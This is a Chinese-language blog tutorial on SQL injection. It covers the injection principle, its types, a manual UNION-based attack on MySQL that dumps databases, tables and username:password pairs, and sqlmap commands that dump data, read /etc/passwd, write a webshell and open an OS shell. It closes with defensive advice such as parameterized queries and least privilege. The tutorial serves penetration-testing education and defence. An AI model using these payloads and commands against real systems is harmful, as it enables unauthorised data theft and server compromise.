SQL 注入(SQL Injection)是 Web 安全领域最经典、危害最大的漏洞类型之一。尽管现代框架和 ORM 已经大幅降低了它的出现概率,但在老旧系统、定制化业务和第三方组件中,SQL 注入依然频繁现身。理解其原理、掌握手工注入思路、并学会使用 sqlmap 进行自动化利用,是每一位 Web 安全从业者的基本功。
一、SQL 注入的本质
SQL 注入的根源在于:应用程序将用户输入直接拼接进 SQL 语句,而没有做充分的过滤或参数化处理。数据库无法区分“哪些是代码、哪些是数据”,导致攻击者可以篡改 SQL 语义,执行非预期的查询。
一个典型的登录逻辑:
SELECT * FROM users WHERE username = '$user' AND password = '$pass';
如果攻击者在用户名处输入 admin' -- ,SQL 就变成:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'xxx';
-- 注释掉了后面的密码校验,攻击者无需密码即可登录。
二、SQL 注入的分类
按数据交互方式,SQL 注入通常分为三类:
- 联合查询注入(Union-based):利用
UNION SELECT将额外数据拼接到正常结果中,直接回显在页面上,是最方便利用的一种。 - 报错注入(Error-based):页面不回显数据,但会输出数据库错误信息,攻击者通过构造报错函数(如
extractvalue、updatexml)将数据带出。 - 盲注(Blind):页面既不回显数据也不报错,只能通过布尔真假(Boolean-based)或时间延迟(Time-based)推断信息。
此外还有堆叠注入、二次注入、宽字节注入等变种,原理相通,只是触发场景不同。
三、手工注入的完整流程
以 MySQL 为例,一次标准的手工注入通常遵循以下步骤。
1. 判断注入点
常见测试 payload:
?id=1'
?id=1 and 1=1
?id=1 and 1=2
?id=1' and '1'='1
如果 1=1 正常、1=2 异常,说明存在布尔型注入。数字型与字符型的区别在于是否需要闭合引号。
2. 判断字段数
使用 ORDER BY 逐步递增,直到页面报错:
?id=1' ORDER BY 3 --
?id=1' ORDER BY 4 --
假设 3 正常、4 报错,则当前查询返回 3 个字段。
3. 确定回显位
?id=-1' UNION SELECT 1,2,3 --
页面上显示的数字即为可回显的位置,后续把要查询的数据替换到该位置即可。
4. 获取数据库信息
?id=-1' UNION SELECT 1,database(),version() --
?id=-1' UNION SELECT 1,user(),@@datadir --
5. 爆库、爆表、爆字段
-- 查所有库
?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata --
-- 查指定库的表
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security' --
-- 查指定表的字段
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --
-- 取数据
?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM security.users --
至此,一次完整的手工注入结束。若遇到盲注场景,则需要借助 substr、ascii、sleep 等函数逐字符推断,效率极低。
四、sqlmap 自动化利用
手工注入适合理解原理,但面对盲注或复杂场景时,sqlmap 能大幅提升效率。
1. 基础用法
sqlmap -u "http://target.com/news.php?id=1"
sqlmap 会自动识别注入类型、数据库类型,并列出可用信息。
2. 常用参数
--dbs:列出所有数据库--current-db:当前数据库--tables -D security:列出指定库的表--columns -T users -D security:列出字段--dump -C username,password -T users -D security:导出数据--batch:全程使用默认选项,无需交互--level=5 --risk=3:提高检测强度--technique=BEUST:指定注入技术(B 布尔、E 报错、U 联合、S 堆叠、T 时间)--tamper=space2comment:使用脚本绕过 WAF
3. POST 与 Cookie 注入
# POST 注入
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=1" --batch
# Cookie 注入
sqlmap -u "http://target.com/" --cookie="id=1*" --level=2
# 从 Burp 保存的请求文件读取
sqlmap -r request.txt -p id
4. 进阶利用
当拿到高权限账户后,可进一步尝试:
# 读取服务器文件
sqlmap -u "..." --file-read="/etc/passwd"
# 写入 webshell
sqlmap -u "..." --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# 获取系统 shell(需 DBA 权限且 secure_file_priv 为空)
sqlmap -u "..." --os-shell
五、SQL 注入与其他 Web 漏洞的关系
SQL 注入常与 XSS、CSRF 并列讨论,三者都属于输入信任问题,但攻击面不同:
- SQL 注入:攻击数据库层,目标是窃取或篡改数据。
- XSS:攻击浏览器端,注入恶意脚本窃取 Cookie 或发起钓鱼。
- CSRF:攻击已认证用户,诱导其在不知情下发起请求。
三者经常组合利用。例如通过 SQL 注入写入含 XSS 的内容,再配合 CSRF 让管理员触发,形成完整的攻击链。
六、安全加固建议
防御 SQL 注入的核心只有一个:永远不要拼接用户输入。
- 参数化查询(Prepared Statement):首选方案,Java 用
PreparedStatement,PHP 用 PDO,Python 用参数化占位符。 - ORM 框架:MyBatis、Hibernate、SQLAlchemy 等默认参数化,但要注意
${}与#{}的区别。 - 输入校验与白名单:对排序字段、表名等无法参数化的位置,使用严格白名单。
- 最小权限原则:数据库账户只授予必要权限,禁用
FILE、SUPER等危险权限。 - 关闭错误回显:生产环境不向前端输出数据库错误信息。
- WAF 与日志监控:作为纵深防御的补充,而非唯一手段。
结语
SQL 注入虽然“古老”,但从未消失。理解其原理不仅能帮助渗透测试人员高效发现漏洞,更能让开发人员从根源上写出安全的代码。手工注入锻炼思维,sqlmap 提升效率,两者结合,才是完整的 SQL 注入能力体系。在 Web 安全的学习路径上,SQL 注入是绕不开的一课,也是通向更深层漏洞研究的重要基石。
未经允许不得转载:任鹏个人博客 » SQL 注入原理详解:从手工注入到 sqlmap 自动化利用


朋友圈点赞图在线生成源码